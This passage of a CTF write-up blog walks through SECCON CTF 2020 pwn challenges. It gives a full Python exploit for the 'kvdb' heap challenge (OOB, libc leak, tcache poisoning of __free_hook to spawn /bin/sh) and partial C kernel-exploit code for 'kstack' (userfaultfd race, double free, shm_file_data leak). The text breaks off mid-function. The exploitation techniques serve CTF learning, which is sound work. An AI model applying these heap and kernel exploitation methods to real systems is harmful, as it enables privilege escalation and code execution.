The size of old pool is 0x800, which has a data A in it. Note that this data is at addr of 0x1xx ~ 0x2xx. Data A is DELETEd and valid flag becomes 0. This pointer still remains in hashtable. After that, old pool shrinks to the size of 0x200. Well, the head of data A is in the range of current memory pool, but its body exceeds the range of the memory pool. 

What happens if we re-register data with key "A"? ent_lookup() just checks its key and doesn't check valid flag. And after that, db_reg() checks as below:

f:id:smallkirby:20201021183218p:plain

db_reg()

Okay, it also does NOT check valid flag. In addition, it RE-RAISE valid flag. Next if check would pass because it only checks the head of data(e->data).

The curious parts assembles now. Yes, floating-pointer remains in hashtable after delete. Yes, weird memory check is performed and it is insufficient. Yes, the memory pool can shrink and can be placed on the old memory pool. And yes, OOB read/write is available now...!

 

 

4: Linear OOB to leak heapbase

The concept is perfect, but doing it was totally brain-fucking trial-and-error work... tcache was very annoying and inuse + ensure < new_size/4 was very irritating. key is allocated even when its valid flag is 0. And I mistakenly assumpted that new_size is evaluated multiple times in one gc() call, which wasted so much time. 

 

Anyway, below script does well heap feng-shui. (I really hate this word heap feng-shui. It is as good as saying nothing...)

  _put("A", 0x8-2, "A"*0x1)
  _put("B", 0x8-2, "B"*0x1)
  _put("C", 0x8-2, "C"*0x1)
  _put("D", 0x8-2, "D"*0x1)
  _put("E", 0x8-2, "E"*0x1)
  _put("F", 0x8-2, "F"*0x1)  # inuse 0x30
  _put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100

  _put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
  _put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800

  _del("A")
  _del("B")
  _del("C")
  _del("D")
  _del("E")
  _del("F")
  _del("G")
  _del("H") # inuse 0x500 # use 0x8 # cap 0x800

  _put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
  _del("B")
  _put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
  _del("C")

1. Allocate 0x800 pool.

2. Allocate data "A" in 0x800 pool. Then delete it.

3. Shrink to 0x400 and 0x800 pool is freed. It is consolidated with top chunk.

Note that data "A" is deleted but still remains in 0x800 old pool. In other word, data "A" is in top chunk. Now, chunks looks like below:

f:id:smallkirby:20201022224547j:plain

data A is in old mp(top)

Then, we pad first space of old pool (top chunk) by allocating dummy entries. After some padding, we make pool shrink to the size of 0x200. Note that this pool is allocated from top chunk, or old pool. Heap would look like below:

f:id:smallkirby:20201022224848j:plain

data A is beyond current pool!!

Yeah! The head of data A is actually in the current pool. However, its body is beyond the pool and exeeds to next chunk!   If we allocate entry, it would be allocated right next to the current pool. Therefore, we have now overlapping chunk and OOB write access! We can write arbitrary value into the entry structure.

 

At this time, valid flag of A is down cuz A is already deleted. But just writing some value into A re-raises it. If we allocate one more entry, we can read its content because A is allocated for huge size. We get heapbase.

 

 

5: Non-linear read to leak libcbase

We can overwrite data and key pointer of entry structure using OOB write now.  Next, we have to leak libcbase. We have to generate unsortedbin and leak its fd. Generating unsorted is easy. Re-generating 0x800 size pool and freeing it would be enough. 

However, don't forget that data and key must point to the addr in the current pool, otherwise the program dies soon.

f:id:smallkirby:20201022230026p:plain

addr check @ db_get()

Therefore, we have to generate unsorted and re-generate overlap data again...

It was really brain-fucking work again. Finally below script works well.

  # generate unsorted
  _put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
  _del("C")
  _put("#", 0x3e0-2, "#"*0x300)
  _del("#") # inuse 0x7f0 # cap 0x800
  _put("M", 0x20-2, "M"*4)
  _del("M") # inuse 0x52 # cap 0x400
  
  _put("N", 0x3a0-2, "N"*0x200)  # unsorted is generated
  _del("N") # inuse 0x3f2
  _put("O", 0x20-2, "O") # cap 0x200, again!

  ###################################

  _put("P", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range

 

Now, heap looks like below:

f:id:smallkirby:20201022231101j:plain

Overwrite victim entry's size using OOB of A. By reading A or victim data, we can leak fd of unsortedbin. 

 

 

 

 

6: tcache poisoning to overwrite __free_hook

We have heapbase and libcbase, but don't have AAW. Let's do tcache poisoning. We use tcache 0x410 as a victim.

First, we have to free memory pool of the size 0x400 twice to link to tcache. But current heap is a little bit dirty due to previous work for leak. Unfortunately, entry structure has pointer in it and they are dereferenced in gc() and migrate() function. So they should be valid value, or the program dies.  Especially data pointer is not used if its valid flag is 0, but key pointer is always dereferenced regardless of valid flag.

Below script would work:

  # let's tcache poisoning
  _del("A")
  _del("U")
  _del("O")
  _del("P")
      # inuse 0x1e8 # cap 0x200
  print(alive)

  _put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
  _del("Q")
  _put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400 
  _del("Q")
  _put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
  _del("R")


  # forge chunks
  fake = entry(".", 0x800, heapbase, heapbase, False).gen()
  pay = b""
  pay += b"/bin/sh\x00"
  pay += p8(0) * 0x200
  pay += (p64(0xdeadbeef) +  fake) * 0x9
  pay += p64(0x411)
  pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
  _put("V", len(pay), pay)

  #################################
  # now, 0x410 [  2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0

 

 

7: place /bin/sh at the head of memory pool

Now, __free_hook is overwriten with system. However, "/bin/sh\x00" should be at the head of the pool. The content of the pool is migrated as below at migrate():

f:id:smallkirby:20201022232156p:plain

 

It just lookup hashtable and migrate keys by strcpy. So we have to determine the first non-NIL entry of hashtable and give "/bin/sh\x00" for its key. In my case, it was overwritable via OOB of data A, so not difficult :)

 

 

8: exploit

風水がめんどくさすぎて、自前のlibcでやって辞めちゃったけど、オフセット変えるだけだろうからこれでいいよね、いいよ。

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./kvdb"
LIBCNAME = "./libc.so.6"

hosts = ("kvdb.chal.seccon.jp","localhost","localhost")
ports = (17368,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None

current_size = 0x80
KEYMAX = 0x40
DATAMAX = 0x400
alive = []

## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("> ")
  c.sendline(str(ix))

def _put(key, size, data):
  global c 
  if len(key) > KEYMAX:
    print("[-] KEY is too long...")
    raw_input("enter to exit...")
    exit(0)
  if len(data) > DATAMAX:
    print("[-] DATA is too long...")
    raw_input("enter to exit...")
    exit(0)
  if len(data) > size:
    print("[-] I will kill you...")
    raw_input("enter to exit...")
    exit(0)
  hoge(1)
  c.recvuntil("Key : ")
  c.sendline(key)
  c.recvuntil("Size : ")
  c.sendline(str(size))
  c.recvuntil("Data : ")
  c.send(data)

  if key not in alive:
    alive.append(key)

def _get(key):
  global c
  hoge(2)
  c.recvuntil("Key : ")
  c.sendline(key)
  if "not found" in c.recvline():
    return None
  c.recvuntil("---- data ----")
  c.recvline()
  return c.recvuntil("---")[:-4]

def _del(key):
  global c 
  hoge(3)
  c.recvuntil("Key : ")
  c.sendline(key)
  if "not found" in c.recvline():
    print("NOT FOUNDDDDDDDDDDDDDDDD")
    raise
  else:
    if key in alive:
      alive.remove(key)
    return True

class entry:
  def __init__(self, key_str, _size, _key=None, _data=None, valid=True):
    self.size = _size
    self.key_str = key_str
    self.key = _key
    self.data = _data
    self.hash = self.new_hash()
    self.valid = valid
  
  def new_hash(self):
    h = 5381
    for c in self.key_str:
      h = h*33 + ord(c)
    print("[ ] hash of " + self.key_str + ": "+hex(h&0xffffffff))
    return h & 0xffffffff

  def gen(self):
    pay = b""
    pay += p32(0x1) if self.valid else p32(0) # valid flag
    pay += p32(self.hash) 
    pay += p64(self.size)
    pay += p64(self.key)  if self.key!=None else p64(0)
    pay += p64(self.data) if self.data!=None else p64(0)
    pay += p64(0) # next
    return pay



## exploit ###########################################

def exploit():
  global c

  _put("A", 0x8-2, "A"*0x1)
  _put("B", 0x8-2, "B"*0x1)
  _put("C", 0x8-2, "C"*0x1)
  _put("D", 0x8-2, "D"*0x1)
  _put("E", 0x8-2, "E"*0x1)
  _put("F", 0x8-2, "F"*0x1)  # inuse 0x30
  _put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100

  _put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
  _put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800

  _del("A")
  _del("B")
  _del("C")
  _del("D")
  _del("E")
  _del("F")
  _del("G")
  _del("H") # inuse 0x500 # use 0x8 # cap 0x800

  _put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
  _del("B")
  _put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
  _del("C")

  #######################################

  # struct entry's size is 0x28(0x30)
  for i in range(0x1b0//0x30):
    _put(p8(0x61+i), 0x1,p8(0x61+i))
    _del(p8(0x61+i))
 
  _put("?", 0x2e0-2, "?"*0x200) # inuse 0x3ef # cap 0x400
  _del("?")

  _put("!", 0x20-2, "!"*0x10) # YEAH! overlapping! # cap 0x200
  _del("!")

  _put("T", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range


  ##############################

  T = entry("T", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  U = entry("U", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  V = entry("V", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  W = entry("W", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  Z = entry("Z", 0x800, 0xdeadbeef, 0xdeadbeef).gen()

  pay = b""
  pay += "A"*0x3e
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  pay += p64(0xdeadc0bebeef)
  pay += V
  pay += p64(0xdeadc0bebeef)
  pay += W
  pay += p64(0xdeadc0bebeef)
  pay += Z
  _put("A", len(pay), "A"*0x3e + (p64(0x201f1)+p64(0))*((len(pay)-0x3e)//0x10)) # fake top size to avoid corruption

  ############################

  _put("U", 0x1, "U") # it's mine
  _put("V", 0x1, "W") # it's mine
  _put("W", 0x1, "W") # it's mine
  _put("Z", 0x1, "Z") # it's mine

  # now, A's valid flag is 1. So, I can read via OOB. Let's leak heapbase
  leak = unpack(_get("A")[0x86:0x86+8])
  heapbase = leak - 0xdb6
  print("[!] leak: " + hex(leak))
  print("[!] heapbase: " + hex(heapbase))

  #############################
  # let's generate unsorted # inuse 0x1e2 # cap 0x200

  T = entry("T", 0x800, heapbase+0xc24, heapbase+0xc26).gen()
  U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen()
  V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen()
  pay = b""
  pay += "A"*12
  pay += "U\x00"
  pay += "U"
  pay += "V\x00"
  pay += "V"
  pay += "W\x00"
  pay += "W"
  pay += "Z\x00"
  pay += "Z"
  pay += "A"*(0x3e-len(pay))
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  pay += p64(0xdeadc0bebeef)
  pay += V
  _put("A", len(pay), pay)
  _del("A")
  _del("T")
  _del("U")
  _del("V")
  _del("W")
  _del("Z")

  print(alive) # inuse 0x1e2 # cap 0x200
  # generate unsorted
  _put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
  _del("C")
  _put("#", 0x3e0-2, "#"*0x300)
  _del("#") # inuse 0x7f0 # cap 0x800
  _put("M", 0x20-2, "M"*4)
  _del("M") # inuse 0x52 # cap 0x400
  
  _put("N", 0x3a0-2, "N"*0x200)  # unsorted is generated
  _del("N") # inuse 0x3f2
  _put("O", 0x20-2, "O") # cap 0x200, again!

  ###################################

  _put("P", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range
  T = entry("T", 0x10, heapbase+0xc24, heapbase+0xc00).gen()
  U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen() # my spy!
  V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen() # my attacker!
  pay = b""
  pay += "A"*12
  pay += "U\x00"
  pay += "U"
  pay += "V\x00"
  pay += "V"
  pay += "W\x00"
  pay += "W"
  pay += "Z\x00"
  pay += "Z"
  pay += "A"*(0x3e-len(pay))
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  _put("A", len(pay), pay)

  leak = unpack(_get("U")[0x1b8:0x1b8+8])
  libcbase = leak - 0x1ebbe0
  print("[!] leak: " + hex(leak))
  print("[!] libcbase: " + hex(libcbase))


  #################################
  # let's tcache poisoning
  _del("A")
  _del("U")
  _del("O")
  _del("P")
      # inuse 0x1e8 # cap 0x200
  print(alive)

  _put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
  _del("Q")
  _put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400 
  _del("Q")
  _put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
  _del("R")


  # forge chunks
  fake = entry(".", 0x800, heapbase, heapbase, False).gen()
  pay = b""
  pay += b"/bin/sh\x00"
  pay += p8(0) * 0x200
  pay += (p64(0xdeadbeef) +  fake) * 0x9
  pay += p64(0x411)
  pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
  _put("V", len(pay), pay)

  #################################
  # now, 0x410 [  2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0
  # inuse 0x8b # cap 0x200
  _put("R", 0x300-2, "R"*0x10)
  _del("R")
  
  # 0x410 [  1]: 0x7fd383c83b28 (__free_hook) ◂— 0x0
  pay = b""
  pay += p8(0)*(8*8-1-0x10)
  pay += p64(libcbase + 0x55410) # system
  pay += p8(0) * (0x310-2-len(pay))
  _put("R", 0x310-2, pay) # free_hook -> system
  _del("R")

  ####################################

  # the pool shoud start with "/bin/sh\x00"
  _put("(", 0x100, "hoge")
  


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

f:id:smallkirby:20201022232629p:plain

really brain-fucking feng-shui chall..! but interesting

らぶしいず

 

 

 

9: アウトロ

途中で頭がバグりそうになったけど、よくよく考えました。

SECCON、大分手応えの有る問題たちでした。

あれ、あと1問pwn残ってるのかな。やんなきゃかな。

 

 

 

 

自分が無能すぎて困ってるんだが。

助けてくれや、誰か。

 

 

 

 

 

つづく可能性が有る....

 

 

 

 

【pwn 38.1】SECCON CTF 2020 ~ part.2 kstack (kernel exploit)

keywords

kernel exploit / setxattr / userfaultfd / shm_file_data / double free

 

 

1: イントロ

いつぞや開催された SECCON CTF 2020

そのpwn問題を全部解き直すシリーズpart.2です。前回までのエントリは以下を参照してください。

smallkirby.hatenablog.com

 

本エントリでは kernel exploit 問題である kstack を解いていきます。

 

 

2: 静的解析

配布ファイルは以下の通り:

  • bzImage: Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #18 0GNU/Linux 
  • rootfs.cpio: initram
  • start.sh: QEMU起動スクリプトNICはe1000。SMEP・KASLR有効。
  • kstack.c: LKMソースファイル。後述。

 

本LKMは stack という名前のプロセスファイルをインストールする。 fops には unlocked_ioctl のみが登録されており、簡易的な PUSH/POP をシミュレートする。

 

 

2: Vulns

unlocked_ioctl として登録されている proc_ioctl は内部で copy_from_user/copy_to_user を呼び出すのだが、この際にロックが取られないため race condition が発生する可能性が有る。copy_from_user/copy_to_user はそれ自体がそれなりに重い操作であるため、何万回か繰り返せばまぁそのうち競合するだろうが、今回は確実に競合を発生させるため、userfaultfd を用いて copy_from_userユーザランドのページにアクセスした際にフォルトを発生させ、処理をユーザランドに戻すことにする。

 

userfaultfd を用いた race condition exploit については、以下で詳しく取り扱っている。

smallkirby.hatenablog.com

 

 

 

3: Leak kernbase via shm_file_data

まずは試しに POP を2回行って double free を起こしてみる。

f:id:smallkirby:20201012124410p:plain

kstack.c from SECCON CTF 2020

そのためにはまず、適当な値をPUSHしておく。

その後、別スレッドにおいて __NR_userfaultfd システムコール(libcにラッパはない為直接呼ぶ)で usefaultfd file descriptor を入手する。そのあと mmap で指定したアドレス(0x117117000)に領域を確保し、確保した領域を uffd に対する ioctl で監視する。

mmap領域が監視されている状態で、その領域に対してPOPを行う。lazy loadingのためにmmap領域は実際にはまだページが確保されていないから、このPOP内の copy_to_userページフォルトが起こり、処理は指定したユーザランドのフォルトハンドラに移る。このPOPを一旦放置した状態でフォルトハンドラにおいてもう一度POPを行えば無事に100%の確率で double free が発生する。

 

今回モジュール内で使用されている Element 構造体は全体のサイズが 0x18bytes である。よって、これは free された後に kmalloc-32 に入ることになる。このスラブに入る構造体の中でなにかいいものがないかを以下で探す。

ptr-yudai.hatenablog.com

 

 

ここでは shm_file_data 構造体を利用する。これは shmat シスコールの内部で生成される構造体である。

f:id:smallkirby:20201012235142p:plain

do_shimat @ ipc/shm.c

ここで *sfdstruct shm_file_data である。

f:id:smallkirby:20201012235237p:plain

shm_file_data @ ipc/shm.c

そのサイズは 0x20bytes であり、kmalloc-32にのることがわかる。

f:id:smallkirby:20201012235329p:plain

size of struct shm_file_data

double free -> push -> shm_file_data生成 ->  pop の順に操作することで shm_file_data の0x8~0x10byte目の値が読めるはずなのだが、何度やっても上手くpopされなかった。それもそのはずで、POPの際には以下のように pid の確認をしているのを失念していた。

f:id:smallkirby:20201013110009p:plain

check pid

 

 

というわけで、方向転換をする。

まず先に shm_file_datakfree しておく。その後でPOPを行い、shm_file_data として使われていたスラブオブジェクトを Element 構造体として確保する。pid などを設定した後 copy_to_user を行うのだが、ここでフォルトを発生させてハンドラに処理を移す。その内部でPUSHを行うことで、pid は適切に設定されているものの Element.value に該当するデータは前の shm_file_data 内のポインタが残っており、これをleakすることができる。 

ここで shm_file_data をkfree する方法だが、shmctl(IPC_RMID)をすることで該当セグメントに対して破棄済みの印をつけることができる。その後でセグメントが破棄されるわけなんだが、正確にどのタイミングで破棄されるのかが分からなかった。大体の場合はプロセスが死んだ直後に shm_release が呼ばれるのだが、呼ばれない場合もごく稀にあった。上手くいった例が以下のとおりである(デバッグ目的で自前の巨大kernelを使っているためブートに異様に時間がかかっている+これまたデバッグ目的でrootユーザを使用している)

f:id:smallkirby:20201013140850p:plain

kernbase leak

 

まぁ、安定はしないが取り敢えずleakはできている。90%くらいは成功するからこれでいいだろう。

ここまでのコードは以下の通り。

#define _GNU_SOURCE
#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h> #define ulong unsigned long #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const unsigned long len = PAGE*0x10; // memory length unsigned long leak, kernbase; void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; unsigned long value; struct Element *fd; }; int _push(unsigned long *data) { if(ioctl(fd, PUSH, data) < 0) errExit("_push"); printf("[+] pushed %llx\n", *data); return 0; } int _pop(unsigned long *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events unsigned long hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //** Now, another thread is halting. Do my business. **// puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = msg.arg.pagefault.address & ~(PAGE-1); uffdio_copy.len = PAGE; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; unsigned long tmp_buf = 0xdeadbeef; unsigned long diff_copy_to_user = 0x353ee0; // save state save_state(); // open miscdevice if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // leak secret register_userfaultfd_and_halt(); sleep(1); call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault return 0; }

 

 

 

4: Double free via failure of copy_from_user

さて、ここまでで kernbase のリークは済んだ。このあとはPCを奪取する必要が有る。

上のプログラムではページフォルトをハンドルした後、処理が copy_to_user に戻り、以降はほぼ正常に動作する。但し、中断したPUSHで扱っている Element インスタンスはPOPにおいて kfree されている。ここで copy_from_user が失敗した場合、以下の処理でさらに同じインスタンスが kfree されて double free が生じる。

f:id:smallkirby:20201013165006p:plain

key to double free

copy_from_user を失敗させるためには、その領域に対してアクセス権限がなければよいため、フォルトハンドラの内部において mprotect でページ権限を変更することにする。

f:id:smallkirby:20201013170818p:plain

lead to failure of copy_from_user

こうしてユーザランドからの読み込みを失敗させると、以下のように EINVAL が返されて copy_from_user が失敗し、double free が生じる。

f:id:smallkirby:20201014105158p:plain

double free via mprotect

 

 

 

4: Rule PC via seq_operations and setxattr

double freeがあれば、PCを奪取することができるようになる。そのための条件は、1: 構造体内に関数ポインタを含むこと 2: 1と別に構造体内に任意の値を書き込めること。さて、先程の shm_file_data 構造体を考えると、このどちらの条件も満たしていないことが分かる。よって、こいつとは kernbase leak を最後におさらばする👋👋👋👋 (というかひねくれずに最初から以下の常套手段を使えばよかったのに...)

 

 

 

構造体内に関数ポインタを含み kmalloc-32 に入る構造体として seq_operations を用いる。これは4つの関数ポインタを保持し、任意のタイミングで呼び出すことができるため victim 側の構造体として利用する。

f:id:smallkirby:20201014162406p:plain

seq_operations @ seq_file.h

任意の値の書き込みには定番の setxattr を呼び出す。確保するチャンクのサイズやそこに書き込む値を自由に制御することができるため、うってつけの関数である。尚、確保されたオブジェクトは関数の終了時に kfree される。(今回は別に問題ない)

f:id:smallkirby:20201014162801p:plain

setxattr @ xattr.c

この2つとdouble freeを組み合わせて試しにPCを 0xDEADBEEF に飛ばしてみるコードが以下の通り。

#define _GNU_SOURCE
#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h>
#include<sys/xattr.h> #define ulong unsigned long #define errExit(msg) do { perror("[ERROR EXIT]\n"); \ perror(msg); \ exit(EXIT_FAILURE); \ } while (0) #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const unsigned long len = PAGE*0x10; // memory length unsigned long leak, kernbase; void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; unsigned long value; struct Element *fd; }; int _push(unsigned long *data) { if(ioctl(fd, PUSH, data) < 0) if(errno == EINVAL){ printf("[-] copy_from_user failed.\n"); errno = 0; }else errExit("_push"); // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it. return 0; } int _pop(unsigned long *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_range uffdio_range; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events unsigned long hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //********* Now, another thread is halting. Do my business. **// // leak kernbase puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // change page permission and make fail copy_from_user mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE); printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1)); 